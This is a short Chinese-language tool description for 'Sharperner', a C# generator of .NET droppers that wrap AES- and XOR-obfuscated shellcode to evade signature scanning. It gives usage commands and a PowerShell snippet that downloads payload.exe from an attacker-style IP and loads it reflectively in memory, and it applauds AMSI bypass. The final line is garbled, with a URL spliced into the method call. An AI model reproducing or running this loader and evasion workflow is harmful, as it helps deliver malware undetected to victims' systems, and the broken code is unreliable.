Sharperner 是一款使用 CSharp 编写的工具,用于生成带有 AES 和 XOR 混淆 shellcode 的 .NET 投放器。生成的执行文件可能绕过签名检查,但我不确定它能绕过启发式扫描。
/file B64、hex、raw shellcode
/type cs、cpp
/out 输出文件位置(可选)
示例:
Sharperner.exe /file:file.txt /type:cpp
Sharperner.exe /file:file.txt /out:payload.exe
为避免接触磁盘,生成的 .NET 可执行文件可以通过 PowerShell 反射加载。现在 AMSI 是敌人,amsi.fail 万岁!
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[TotallyNotMal.Program]:https://raw.githubusercontent.com/aniqfakhrul/sharperner/HEAD/:Main()